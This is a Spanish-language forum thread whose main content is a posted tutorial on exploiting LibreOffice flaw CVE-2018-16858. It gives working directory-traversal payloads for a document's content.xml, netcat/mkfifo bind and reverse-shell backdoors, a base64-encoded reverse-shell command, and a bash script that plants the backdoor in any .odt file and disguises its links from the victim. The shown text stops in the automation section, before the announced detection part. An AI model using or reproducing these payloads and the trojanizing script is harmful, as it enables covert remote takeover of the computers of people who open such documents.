Wolis:

Estaré de vuelta por el foro. A ver si ya puedo volver a aportar cositas por aqui. Que hace como eones que no conecto. Siento mi letargo, pero no tengo tiempo para ni leches.

Besis a los clásicos del foro y saludos a los que habéis aparecido nuevos.

Hola:

Voy a implementar otra herramienta sencilla tipo LeakCheker y querria saber si conocéis páginas que NO sean greynoise en las que se pueda consultar IPs desde las que se han realizado (o están realizándose) actvidades maliciosas (IPs de BOTNETS sencillas, etc...).

Besos y gracias.

Wola!!!

Con idea de no saturar un sólo gateway de salida hacia tor para la realización de esta aplicación (Calculo que estará hecha y pública para el finde).
Aparte de No tienes permitido ver enlaces. Registrate o Entra a tu cuenta doy un abrazo (remoto pero con todo el amor) por direcciones de otros gateways de tor2web que estén funcionales (Que estén testados por vosotros haciendo una petición a una dirección tor agregando la url del gateway tor2web necesario).

No me valen las siguientes:

.link
.cap
.city
.to

Ya que parecen no estar muy funcionales.

1,2,3 responda otra vez...

He generado este manual sencillo. La idea es que sea comprensible y fácil de seguir. Si veis algún error o lo que se séa lo comentáis para que pueda mejorar. En teoría era para el blog pero como se estaba demorando lo dejo por aquí y ya lo subirá quien lo desee. Un abrazo.

Manual básico de generación de un exploit

En esta entrada se verá cómo utilizar un fallo sencillo de un programa para conseguir abrir una puerta trasera en el sistema que utilice dicho programa.

El fallo en cuestión viene definido en el CVE-2018-16858 perteneciente a la suite de ofimática LibreOffice. Este fallo logra, en un archivo especialmente formado, realizar un escalado de directorios, permitiendo la ejecución de código Python. Dicha ejecución se vincula o saltará ante la acción del usuario sobre el documento, y se realiza sin que se le dé ningún tipo de advertencia al usuario por la ejecución de macros.

El presente documento se divide en cinco partes. En la primera se explicará el fallo en sí, cómo desempaquetar un OpenDocument, cómo cambiar su estructura para que ejecute el script local que se desea, y cómo recomponer el documento de nuevo para su ejecución y prueba.

En la segunda parte veremos cómo utilizar la ejecución local para lanzar cualquier comando en el sistema en el que se abra el documento, y generaremos una puerta trasera que permita la ejecución de comandos remotos.

En la tercera parte automatizaremos el proceso para generar documentos que creen puertas traseras con comunicacion directa o reversa, determinando dirección IP y puerto a los que se deberá conectar.

La cuarta parte tratará sobre la integración del fallo en el sistema metasploit para que mediante msfconsole se puedan generar documentos compatibles con la forma de explotación de metasploit. Con esto se podrán elegir como código a ejecutar cualquier payload definido en la suite de metasploit.

La quinta y última parte mostrará cómo integrar en un sistema de antivirus el proceso de detección que permita identificar los ficheros de tipo LibreOffice infectados mediante el procedimiento anterior. Se utilizará el formato de detección del antivirus ClamAV, permitiendo comprender mejor el proceso de detección que tienen los antivirus y así facilitar nuestra protección ante amenazas de este tipo.

Todo el proceso se realizará para sistemas Linux basados en Debian, pero lo que aquí se explica puede ser extrapolado a otros sistemas, ya que se describe detalladamente. Tanto el fallo como las pruebas de concepto del CVE original se realizaron para la version de LibreOffice para Windows, por lo que siempre se puede acudir a dicha fuente para utilizar lo descrito en este documento de forma análoga para las versiones de Windows.

Descripción del fallo

LibreOffice (y, por cuestiones genéticas, Apache OpenOffice) tiene un fallo en versiones anteriores a su última versión (6.1.5) que permite la ejecución de código Python situado en cualquier parte del ordenador sin que el usuario sea advertido por la ejecución de una macro.

Para poder ver el fallo en cuestión podemos generar un documento nuevo en el editor de textos en el que escribiremos algo, lo seleccionaremos y generaremos un hipervínculo. Para crear un hipervínculo en el texto hay que seleccionar el menú Insert y dentro la opción Hyperlink (también se puede conseguir seleccionando el texto y después usando la combinación de teclas Ctrl+K).

Aparacerá el siguiente dialogo:


Para definir un hipervínculo deberemos insertar una URL y hacer clic en Apply. Aparte de la opción de URL en la parte de abajo del cuadro de diálogo, donde se puede leer Further Settings, dispondremos de un botón con el icono de Play que nos permitirá además vincular eventos a determinadas acciones. Es ahí donde definiremos que deseamos ejecutar un código Python como acción.

Al pulsar dicho botón se abrirá un nuevo diálogo:



En él podremos seleccionar entre tres eventos básicos y el script que se desea utilizar. Como evento seleccionaremos Mouse Over Object y como script dentro de los scripts de la familia LibreOffice Macros se seleccionará Python Samples. Dentro de dicha opción solo existe un script predeterminado llamado TableSample, que es el que seleccionaremos.

Una vez hecho esto, si pasamos el ratón por encima del texto que hemos convertido en hipervínculo, veremos que se abre una ventana con un documento en el que hay una tabla. Esto quiere decir que hemos asociado el evento de pasar el ratón por encima del hipervínculo al script en Python. Lo que pretendemos es sustituir esta acción por otra que nosotros queramos.

Para ello guardaremos el documento que hemos creado y saldremos de LibreOffice para ejecutar en la consola una serie de comandos.

Entendiendo los OpenDocument

El formato de documento ODT no es más que un zip con una serie de archivos dentro de él (el formato DOCX de Microsoft Office es muy parecido). Por ello, lo primero que haremos es descomprimir el archivo con un descompresor de archivos zip.

En nuestro caso utilizaremos la herramienta de línea de comando llamada unzip, así que simplemente ejecutaremos la siguiente sentencia:

	user@host:~/Documents/prueba$ unzip ~/Documents/blog/exploitlibreoffice/doc/CV.odt

Con esto veremos los archivos que realmente tiene dentro un archivo de tipo OpenDocument. Los más relevantes para nosotros serán el archivo mimetypes, el archivo content.xml y el archivo styles.xml.

El archivo mimetype es el primero que debe aparecer en la lista de archivos del zip, por lo que cuando volvamos a empaquetar los archvos deberemos forzar con nuestro empaquetador de archivos que así sea o el archivo no será interpretado como un OpenDocument.

El archivo content.xml contiene el texto del documento que hemos escrito en el que tenemos texto mezclado con determinadas etiquetas que dicen en qué formato se debe ver el texto.

Por ejemplo, en la siguiente línea:

	<text:p text:style-name="_5f_ECV_5f_SectionDetails">Indicar lista de documentos adjuntos a su CV. Ejemplos:</text:p>

Se puede observar un ejemplo de un parrafo de texto escrito con un estilo concreto definido por el atributo text:style-name. El parrafo de texto está entre el tag de apertura <text:p> y el tag de cierre </text:p>.

El script asociado al hyperlink que hemos hecho también se puede ver de forma bastante simple. Si buscamos entre el texto de content.xml la palabra python o el nombre del script de python que hemos cargado, en nuestro caso No tienes permitido ver enlaces. Registrate o Entra a tu cuenta con lo que se puede detectar fácilmente la línea donde debemos variar el contenido:

	<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|TableSample.py$createTable?language=Python&amp;location=share" xlink:type="simple"/>

En esta línea se encuentra la ruta del script en python que se va a cargar cuando pongamos el ratón encima del hipervínculo llamado No tienes permitido ver enlaces. Registrate o Entra a tu cuenta y la función que se a a ejecutar del código python, en este caso createTable.

El problema inherente a LibreOffice es que cuando lee los documentos no se limpia correctamente el valor del código python a cargar. El programa no limpia los caracteres ../ de la ruta del archivo por lo que se puede acceder a cualquier archivo del sistema en el que se abra el documento de texto. Además, si ese archivo al que se accede es un archivo con código python podremos ejecutar cualquier función que haya definida en dicho archivo.

Primera prueba de ejeción de comando simple

Como primera prueba de concepto vamos a hacer que al pasar por encima del hipervínculo se ejecute la calculadora, en nuestro caso el programa galculator abre la calculadora. Deberemos generar un programa en python que permita ejecutar un comando dentro de una función, al estilo de como espera la ejecución el LibreOffice. Para ello generaremos el siguiente código en la ruta /tmp/prueba.py:

	import os;

	def ejecuta():
		os.system("galculator");

Con este pequeño código conseguiremos nuestro propósito, ahora solo hace falta que añadamos tanto el archivo python /tmp/prueba.py como el nombre de la función ejecuta dentro de la llamada que se hace en el archivo odt. Por lo que la línea que hacía la llamada al python quedaría de la siguiente forma:

	<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

Como se puede ver, lo que se ha hecho es añadir un número grande de ../ para asegurarnos de que escalamos hasta la raiz de nuestro sistema de archivos. Y a partir de ahí añadirmos la ruta concreta a nuestro archivo python (prueba.py). Después del $ se ha añadido la palabra ejecuta que es la función que hace que se carge la calculadora.

Una vez hecho esto, empaquetaremos de nuevo nuestro archivo odt recordando poner como primer archivo el mimetype. Si utilizamos la utilidad zip simplemente ejecutaremos el siguiente comando en el directorio donde hayamos desempaquetado nuestro odt y que contiene el content.xml malicioso:

	user@host:~/Documents/prueba$ zip -r exploit.odt mimetype .

Una vez hecho esto abriremos el archivo con el LibreOffice y observaremos que se ejecuta el programa de la calculadora cuando pasamos el ratón por encima del hipervínculo.

Este primer paso, necesita de un código python generado con una función que podamos ejecutar sin parámetros. Es sencillo de implementar pero puede ser difícil de utilizar en un entorno creible o reproducible para un pentesting real.

Desde la versión 6.1 de LibreOffice se dispone de la posibilidad de que en las llamadas a funciones python se puedan pasar parámetros a dichas funciones. Esto permite mayor libertad de scriptado a los que deséan utilizar la utilización lícita de los macros de dicho programa, pero además nos ofrece una oportunidad de oro a los que deséan buscar las esquinas al software.

Cómo antes decíamos y de hecho hemos utilizado, para realizar una llamada al sistema para ejecutar cualquier comando se hace una llamada a la clase os y a la función system. Es la que hemos utilizado para llamar a la calculadora pasándo como parámetro la string galculator. Lo bueno de las clases python es que podemos saber en que ruta están, y de hecho lo que se puede hacer para aprovecharnos de poder pasar parámetros a las funciones es buscar la ubicación de dicha clase. Antes hemos ejecutado una funcion de un programa python que se encontraba en /tmp/ y que hemos llamado No tienes permitido ver enlaces. Registrate o Entra a tu cuenta. Bien, ahora lo que haremos será llamar directamente a la funcion system que se encuentra en el programa python No tienes permitido ver enlaces. Registrate o Entra a tu cuenta que es una de las librerías del sistema.
Por ejemplo en los sistemas Linux actuales lo solemos encontrar en la ruta /usr/lib/python3.5/os.py, por lo que cambiaremos la anterior ruta al códito /tmp/prueba.py por esta nueva ruta. Ahora la función ejecuta la cambiaremos por la funcion system y de hecho como podemos pasar parámetros a dicha función ya podemos ejecutar el programa galculator, o caulquier otro que deseemos, de manera directa, sin necesidad de generar en el equipo donde se verá el documento LibreOffice  un archivo python a ejecutar.

Donde antes teníamos esta cadena en el archivo content.xml:

	<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../tmp/prueba.py$ejecuta?language=Python&amp;location=share" xlink:type="simple"/>

Ahora simplemente tendremos la siguiente:

	<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

El modo de empaquetar el archivo como documento de LibreOffice será exáctamente el mismo. El resultado ahora será que simplemente abriendo el documento odt sin necesidad de poner un programa python en ninguna ruta específica. Eso si, necesitaremos que la versión donde se abre el documento sea por lo menos la versión 6.1 del LibreOffice.

En cuanto se abra el archivo y se ponga encima el ratón de el link del documento se abrirá la aplicación de la calculadora al igual que pasaba en el ejemplo anterior.

Creación de puerta trasera y autoejecución mediante documento office

Los comandos que se ejecutan cuando se abre el documento se ejecutan en la máquina local, por lo que una utilidad que se le puede dar a dicha ejecución es la apertura de una puerta trasera que nos permita la ejecución de comandos de forma remota desde otros lugares.

Para hacer una puerta trasera muy sencilla utillizaremos el comando nc y realizaremos un fifo para que con el mismo puerto podamos enviar comandos al ordenador y obtener el resultado de dicha ejecución. En el primer acercamiento al fallo que utilizamos para la ejecución del comando tuvimos que hacer un programa en python. La idéa es que no tengamos que subir ningun código adicional al ordenador que se deséa explotar por lo que se utilizarán comandos del sistema para la generación de la puerta trasera.

El comando nc es un comando del sistema que permite abrir un puerto en el sistema local o conectarte a un puerto de un sistema remoto de forma que lo que recibas por dicha conexión salga por la salida estándar y lo que se introduzca por la salida estándar salga por la conexión hacia el otro equipo. Podemos utilizar pipes | para que la salida por pantalla de un comando en ejecucion se introduzca en otro comando, por lo que si concatenamos el comando nc con el comando /bin/bash nos permitirá una solución sencilla para la ejecución de comandos remotos. Si ejecutamos nc ip puerto | /bin/bash lo que llegue por la conexión que realiza el comando nc se pasará al comando /bin/bash que ejecuta una shell, con lo que se estarían ejecutando todos los comandos que nos envían desde el ordenador con el que hemos conectado. Pero la salida estándar de dichos comandos no se devuelve al comando nc, por lo que no se vería la salida de estos. Se podría redireccionar la salida estándar del comando /bin/bash hacia un nuevo comando nc que utilice otro puerto, pero entonces necesitariamos dos puertos para poder realizar el envío de comandos y la recepción de salida de comandos lo que resulta algo tosco.

Una solución simple es utilizar fifos, el comando mkfifo genera un archivo que permite irse escribiendo y consumiéndose a la vez. Por lo que generaremos un archivo fifo que utilizaremos como entrada del comando nc para que todo lo que se escriba en dicho archivo se envíe por la conexión y se usará como salida para el comando /bin/bash con lo que la salida de todo lo que se ejecute mediante dicho comando se escriba en el archivo fifo.

La sucesión de comandos para tener un backdoor que actúe como servidor en cualquier terminal linux sería la siguiente:

	user@host:~/$ mkfifo /tmp/lalala;
	user@host:~/$ nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;

Para conectarnos a dicho equipo desde cualquier otro ordenador se debería ejecutar lo siguiente:

	user@host:~/$ nc ip puerto

Donde ip es la dirección IP del equipo con el backdoor y puerto el mismo valor que hemos indicado a la hora de ejecutar el nc en el equipo donde hemos ejecutado el backdoor.

Si por problemas de firewalls en la red del equipo destino no podemos utilizar el equipo como servidor podemos hacerlo de forma inversa, de forma que sea el equipo que tiene el backdor el que se conecte a un servidor en nuestro poder. Para ello ejecutariamos primero en nuestro equipo el siguiente comando:

	user@host:~/$ nc -l -p puerto

Y en el equipo del backdoor la siguiente sucesión de comandos muy parecida a la anterior:

	user@host:~/$ mkfifo /tmp/lalala;
	user@host:~/$ nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;

La dirección IP que debe aparecer en este último comando es la de nuestro equipo. Evidentemente el equipo remoto debe ser capaz de llegar a dicha dirección IP para que pueda realizar la conexión desde la que enviaremos los comandos a ejecutar en el sistema remoto.

Por lo que en el ordenador del backdoor y por poner el comando en una sola línea se puede ejecutar o bien esta línea:

	user@host:~/$ mkfifo /tmp/lalala;nc -l -p puerto < /tmp/lalala | /bin/bash > /tmp/lalala;

o bien esta línea:

	user@host:~/$ mkfifo /tmp/lalala;nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;

Una vez comprendido esto si conseguimos que mediante el archivo libreoffice se ejecuta cualquiera de las puertas traseras, podremos tener el control remoto del ordenador que ha abierto el documento.

Evidentemente si cambiamos el archivo python que hemos introducido en tmp y en lugar de ejecutar la calculadora ejecutamos la backdor tendremos la ejecución automática.

	import os;

	def ejecuta():
		os.system("mkfifo /tmp/lalala;nc ip puerto < /tmp/lalala | /bin/bash > /tmp/lalala;");

Siguiendo esta línea de generacíon de backdoors, ahora se podría implementar en el documento office. La forma de hacerlo es relativamente sencilla ya que simplemenete deberemos cambiar el comando de la calculadora de linux por el comando que me permite abrir la puert trasera.

El backdoor que se ejecutará en lugar del comando de calculadora será el siguiente:

	mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;

Es un backdoor de conexión inversa, así que para su funcionamiento y que se pueda obtener una shell se deberá de abrir un socket en el host con dirección ip IP y en el puerto PUERTO. Se deberán cambiar dichos valores por la IP y puerto abierto en nuestro host.

Existe un problema con este comando: LibreOffice no permite la utilización de algunos caracteres especiales como < o | por lo que deberemos saltarnos de alguna forma el uso de dichos caracteres para el uso de nuestro exploit.

Probablemente la opción sencilla es utilizar base64. Base64 esta instalada por defecto en casi todos los equipos Linux y es un programa que nos permite tanto codificar como decodificar mediante ese algoritmo. Por lo que podemos codificar lo que deseamos ejecutar en base64 redireccionarlo a un archivo que después será decodificado y ejecutado.

Se va a utilizar una forma de realización del backdoor que puede ser algo tosca, pero que es bastante transparente y compensible. Depués con la misma idea se puede complicar lo que se desee para que todo quede más compacto. Como esta guia está realizada con fines educativos, se mantendrán fórmulas de ejecución mas toscas pero con comandos y ejecuciones muy simples.

Si ejecutamos en un terminal lo siguiente podremos obtener la versión del payload en base64:

	echo "mkfifo /tmp/lalala; nc IP PUERTO < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64

El resultado será algo parecido a lo siguiente:

	bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=

Ahora ya no tenemos ninguno de los carácteres que pueden dar problemas en la ejecución mediante el exploit. Pero introduciendo esto en el comando system no ejecutaremos nada, pero de hecho podemos redirigir con un echo ese contenido hacia un archivo. Con ello tendriamos un archivo que cuando decodificamos puede ser ejecutado, por lo que generaremos un archivo que despue decodificaremos con el comando base64 pero con el parámetro que permite decodificar para redirigir eso a otro archivo. Que ahora si, será el que ejecutemos. Fragmentaremos primeramente cada comando explicando lo que hacemos para después usarlos todos dentro de la llamada a system del exploit:

Primero, generamos un archivo base64 en la máquina que abre el documento LibreOffice en su directorio /tmp/ llamado lalala.base64.

	echo "bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo=" > /tmp/lalala.base64

Como ese archivo codificado no nos sirve de nada, lo descodificaremos llevando la salida hacia un archivo que después queremos ejecutar en el mismo directorio pero llamado No tienes permitido ver enlaces. Registrate o Entra a tu cuenta.

	base64 -d /tmp/lalala.base64 > /tmp/lalala.sh

Dicho archivo no tiene permisos de ejecución por lo que deberemos darle dichos privilegios.

	chmod 777 /tmp/lalala.sh

Después deberemos ejecutar el archivo bash que hemos generado.

	/tmp/lalala.sh

Para finálmente borrar todos los archivos intermedios que se han generado en el ordenador.

	rm /tmp/lalala.sh
	rm /tmp/lalala.base64

Dentro de la llamada a la función system de nuestro exploit será la llama de todos estos comandos separados por ;, con lo que se ejecutará un comando detrás del otro, quedando el siguiente comando o payload que se deberá meter dentro de la llamada a system de nuestro contents.xml en lugar de la calculadora. Finalmente, donde teníamos el siguiente contenido que permitía la ejecución de la calculadora:

	<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(galculator)?language=Python&amp;location=share" xlink:type="simple"/>

Pondremos el siguiente contenido:

	<script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo bWtmaWZvIC90bXAvbGFsYWxhOyBuYyBJUCBQVUVSVE8gPCAvdG1wL2xhbGFsYSB8IC9iaW4vYmFzaCA+IC90bXAvbGFsYWxhOwo= > /tmp/lalala.base64; base64 /tmp/lalala.base64 -d > /tmp/lalala.sh; chmod 777 /tmp/lalala.sh; /tmp/lalala.sh; rm /tmp/lalala.sh; rm /tmp/lalala.base64;)?language=Python&amp;location=share" xlink:type="simple"/>

Empaquetando de nuevo el documento LibreOffice ya tenemos un documento que al pasar el ratón por encima ejecutará nuestro backdoor.

Antes de que se abra el documento y como se ha comentado anteriormente deberemos tener previamente un puerto en escucha, y en cuanto el backdoor se conecte a nuestro host ya podremos ejecutar los comandos en el sistema remoto donde se ha abierto el documento LibreOffice.

Automatización del proceso, generando un programa que me permita infectar documentos Office

Como siguiente paso, y como paso previo a la generación de un módulo de metasploit se debe ser capaz de automatizar y generalizar el proceso. Esto ayuda a comprobar si se tienen claros los cambios a realizar para poder modularizar y describir de forma concreta los problemas que se deben solucionar para hacer un programa genérico que permita infectar los documentos LibreOffice con el payload elegido. En esta sección realizaremos un pequeño script que permita infectar archivos de LibreOffice con una puerta trasera.

El script requerirá de tres parámetros, el documento office, la dirección IP a la que se debe conectar el ordenador una vez que se abra el documento Office además del puerto al que debe conectarse. Tras ejecutar el script deberemos obtener un documento LibreOffice con el backdoor introducido dentro de él. Como debemos de descomprimir el archivo zip, requeriremos que el directorio donde se ejecuta nuestro script este limpio por lo que deberemos comprobarlo dentro de él.

Con idéa de que el lenguaje no suponga un problema se utilizará bash script que permitirá realizar un script, puede que algo sucio, pero que permitirá llamadas a programas GNU que realizarán el trabajo más árduo. después todo ese trabajo que automatizan los programas de GNU habrá que o bien programarlo a mano o bien utilizar librerías que ayuden en el proceso cuando se genere el módulo de metasploit.

El script empezará exigiendo que el archivo que se deséa troyanizar exista y en caso contrario diremos al usuario que el archivo no existe:

	if [ -e $1 ]; then

		#aquí irá el codigo de programa.

	else
		echo "The odt file does not exists!!";

	fi;

El if ejecuta la acción que tiene dentro cuando se cumple la condición que tiene entre los corchetes. En bash la condición -e devuelve verdadedo si existe un fichero con el nombre que se pone a continuación. En lugar de un nombre fijo se ha puesto $1 que en bash se corresponde con el primer parámetro que ha introducido el usuario en la línea de ejecución del script. En nuestro caso, el primer parámetro especifica el archivo .odt que se desea troyanizar.

Se ha puesto la condición de que en el directorio donde se ejecuta el comando, esté vacío, esto es símplemente para hacernos el trabajo más sencillo, así que deberemos comprobarlo antes de continuar con la primera sección del programa. Esta vez lo que se hará será hacer que el script ejecute la orden ls -a y comprobaremos que sólo existen en el directorio de ejecución dos archivos. Los correspondientes al directorio . y el correspondiente al directorio ... Esto lo consiguiremos mediante la siguiente sección de código:

	I=0;

	for fichero in `ls -a`; do

		I=$(($I+1));

	done;

	if [ $I -gt 2 ]; then

		echo "At least one file exists on the directory. Exiting.";

	else


	fi;

En esta sección código se está inicializando la variable I con el valor 0. después mediante un bucle for se recorren cada uno de los elementos que compongan la salida del comando ls -a y en cada iteración del bucle la variable fichero cambiará de valor por el nombre de cada elemento, en este caso con el nombre de cada fichero del directorio de trabajo. En bash poner un comando entre las comilla especiales ` permite que el comando se ejecute y que podamos utilizar su salida por pantalla para devolverla en una variable, o para utilizarla en bucles como es nuestro caso.
Dentro del bucle simplemente lo que se esta haciendo es aumentar el valor de la variable I en 1. En bash script las variables que están a la derecha del igual, de las que se deséa obtener un valor, se deben de preceder siempre por un signo de dolar $. Como ademas se desea realizar una operación matemática se deberá envolver la operacion que se deséa realizar $I+1 entre $(( y )) lo que indica al interprete de bash que estamos en modo matemático y debe realizar operaciones con lo que hay dentro.

Tras el bucle, la variable I debería valer 2 si estamos en un directorio vacío o más de 2 si estamos en un directorio con algún archivo. Por lo que mediante una condición verificaremos si la variable vale más de 2 con intención de parar el programa y avisar al usuario. De nuevo usaremos un if pero esta vez usaremos la comparación mayor que, que en bash se escribe -gt de las siglas en ingles de "greater than". Cómo se ve en la pieza de código, si tenemos un valor mayor que 2 se notifica al usuario del error, en caso contrario se seguirá la ejecución de las demás instrucciones.

Como última comprobación se realizará la comprobación de que el usuario ha introducido 3 parámetros. Eso se hará simplemente mirando si la variable $3 está vacía. Dicha variable especifica que se ha introducido el argumento número 3, por lo que si está vacía significa que la instrucción ejecutada por el usuario no tiene 3 argumentos de entrada. Se compara simplemente con el caracter vacío y en caso de estar vacía se indica al usuario de que ha cometido un error ejecutando el script. El código de esto vuelve a ser bastante simple:

		if [ "" == "$3" ]; then

			echo "I need an IP and a port to connect to.";

		else

			#continuamos con el programa.

		fi;

Después de dichas comprobaciones se empezará con la ejecución de órdenes que permitirán realizar la troyanización del documento. Se empieza con la ejecución del comando unzip para descomprimir el archivo LibreOffice. En caso de éxito se seguirá el proceso, si no, se parará.

			unzip $1;

			if [ $? != 0 ]; then

				echo "some error has occurr!!!Exiting!!";
				exit;

			fi;

La primera línea de esta sección simplemente esta descomprimiendo el archivo que le ha indicado el usuario. En el condicional lo que se está haciendo es comprobar si la ejecución del comando unzip se ha realizado con éxito mediante el código de salida del programa. Ese código de salida lo devuelven todos los programas que se pueden ejecutar a través de consola y por estándar, cualquier valor distinto de 0 estará indicando que el programa ha fallado. La forma de obtener dicho código de error se hace a través de la variable $? que contiene el código de salida del último comando ejecutado.

En el condicional simplemente comprobaremos que séa 0 y en caso de no serlo notificaremos al usuario con un mensaje. después de dicha notificación ejecutamos un exit que permite parar la ejecución del script en ese punto exacto para evitar que el script siga ejecutando las siguientes líneas.

Recordemos que una vez descomprimido el fichero se deben de cambiar dos cosas en el contenido del zip, el archivo content.xml que es donde se introduce el troyano en si y el archivo styles.xml que es donde se cambia el formato que tienen los hipervínculos para que el usuario que abre el archivo no sospeche del problema.

El payload que se va a introducir es el mencionado en el apartado anterior, deberá estar en base64 por lo que guardaremos dicha carga útil en una variable. Además se cambiará de nombre los archivos que se deben modificar con intención de poder leerlos y modificarlos en unos nuevos con el nombre original. De manera que los archivos con el nombre original serán reálmente los archivos modificados:

			PAYLOAD=`echo "mkfifo /tmp/lalala; nc $2 $3 < /tmp/lalala | /bin/bash > /tmp/lalala;" | base64 | awk '{printf $0}'`;

			mv content.xml content.xml.NEW;

			mv styles.xml styles.xml.NEW;

El único cambio respecto al payload original comentado en el apartado anterior es que donde se indicaba la dirección IP y el puerto se utilizan el argumento 2 y 3 que ha puesto el usuario. Como se vé, se hace una operación parecida a la realizada con el for que se utiliza para contar el número de ficheros del directorio pero esta vez la salida del comando en lugar de ir a parar a la vriable del for la guardamos en una variable que se ha llamado PAYLOAD.
Como se observa se ejecuta también el cambio de nombre de los archivos indicados mediante el comando mv.

Con intención de cambiar el contenido de contents.xml, ahora llamado No tienes permitido ver enlaces. Registrate o Entra a tu cuenta, el comando que se puede utilizar es el comando sed. Sed es un comando básico de la suite de comandos Unix que permite, entre otras cosas, la sustitucion de ciertas expresiones regulares por otras. El cambio que se debe hacer en el archivo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta es la búsqueda de todas las entradas que tengan la forma:

	<text:p text:style-name="Standard">

Que no es mas que el tag utilizado por LibreOffice para definir el texto. En realidad para definir un texto cualquiera basta con que empiece por <text:p y termine por >
para añadir justo antes el link que permite la ejecución junto con el PAYLOAD que se ha realizado con anterioridad. Algo que quedará de la forma:

	<text:a xlink:type="simple" xlink:href="http://lalala/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|../../../../../../../../../../../usr/lib/python3.5/os.py$system(echo PAYLOAD > /tmp/payload.64; base64 /tmp/payload.64 -d > /tmp/payload; chmod 777 /tmp/payload; /tmp/payload;)?language=Python&amp;location=share" xlink:type="simple"/></office:event-listeners>License: <text:a xlink:type="simple" xlink:href="https://creativecommons.org/licenses/by-sa/4.0/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link">

Donde PAYLOAD se modifica por el código en base64 calculado con la dirección IP elegida y el puerto elegido. Además, después de esta inserción se debe dejar intacto el tag del párrafo de texto mencionado con anterioridad.

Además, se debe indicar la terminación del tag que se pone de forma adicional por lo que en todo tag de terminación de texto </text:p> se deberá cambiar por </text:a></text:p>.

Para este fin se hará uso del comando sed que permite que todo lo que se inserte por la entrada estándar sea modificado, el formato del comando es el siguiente:

	sed s/"busqueda"/"cambio"/g

La s dice a sed que deseamos realizar una sustitucion, el primer string marcado en el ejemplo como busqueda es lo que que el comando va a modificar de lo que se le pase por la entrada estándar. En el comando de ejemplo el string cambio es por lo que sed va a cambiar lo que se deséa buscar. La letra g indicada tras las dos palabras permiten que no sólo haga el cambio con la primera palabra que cumpla el criterio de busqueda, si no con todas las palabras de la entrada que la cumplan. De manera que si en el comando tal y como está escrito se le pasa por pantalla la siguiente frase:

	la busqueda de sed permite busquedas y cambiarlas por algo.

El comando sed devolvera la siguiente frase:

	la cambio de sed permite cambios y cambiarlas por algo.

Además sed permite por un lado expresiones regulares, por lo que los carácteres *, ., ^, [ y ] tienen significados especiales además en el segundo parámetro del sed, el que permite definir el cambio, si se introduce el caracter & permitirá sacar el patrón de búsqueda por pantalla. No es intención de este tutorial entrar en todos los pormenores del sed así que simplemente se describirán los comandos que se ejecutan y su función. Se hará uso de las pipes | que permiten la salida de un comando pueda ser la entrada del siguiente.

	cat content.xml.NEW | sed s/"<text:p [^>]*[^\/]>"/"&"'<text:a xlink:type="simple" xlink:href="http:\/\/lalala\/" text:style-name="Internet_20_link" text:visited-style-name="Visited_20_Internet_20_Link"><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:mouseover" xlink:href="vnd.sun.star.script:pythonSamples|..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/..\/usr\/lib\/python3.5\/os.py$system(echo '$PAYLOAD' > \/tmp\/payload.64; base64 \/tmp\/payload.64 -d > \/tmp\/payload; chmod 777 \/tmp\/payload; \/tmp\/payload;)?language=Python\&amp;location=share" xlink:type="simple"\/><\/office:event-listeners>'/g | sed s/"<\/text:p>"/"<\/text:a>&"/g > content.xml;

En este comando se está pasando el archivo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta a dos ejecuciones consecutivas del comando sed. En el primer sed, se está introduciendo la parte del payload, se busca el string __<text:p__ seguido por un número indeterminado de cualquier caracter que no sea __>__. También se exige que el caracter anterior al > no sea un fin de tag. Dicha expresion regular se expresa de la siguiente forma:

	<text:p [^>]*[^\/]>

Dicha cadena encontrada se va a introducir en la salida del comando sed, ya que estamos insertando el caracter & en la salida seguido del tag del enlace en el cual asignamos también la acción de que cuando pasemos el ratón por encima se ejecute el script en python que deseeamos. Mayormente es una copia del tag utilizado poniendo en medio el PAYLOAD que se ha generado mediante la variable de bash llamada $PAYLOAD.

Lo que se obtiene de ese cambio se le aplica el cambio determinado con el segundo sed, que buscará la terminación del tag de texto __</text:p>__ y en la salida se usará el mismo tag precedido de la terminación del tag del link para que cuando se encuentre el texto __</text:p>__ la salida que se obtenga sea </text:a></text:p>.

Con ámbos cambios ya se habrá conseguido que el archivo No tienes permitido ver enlaces. Registrate o Entra a tu cuenta se transforme en el archivo que se deséa por lo que la salida tras realizar los sed, lo introduciremos en el archivo de salida content.xml.

Una vez hecho eso, ya no se necesitará el archivo temporal No tienes permitido ver enlaces. Registrate o Entra a tu cuenta por lo que se procederá a su borrado mediante el comando rm.

	rm content.xml.NEW

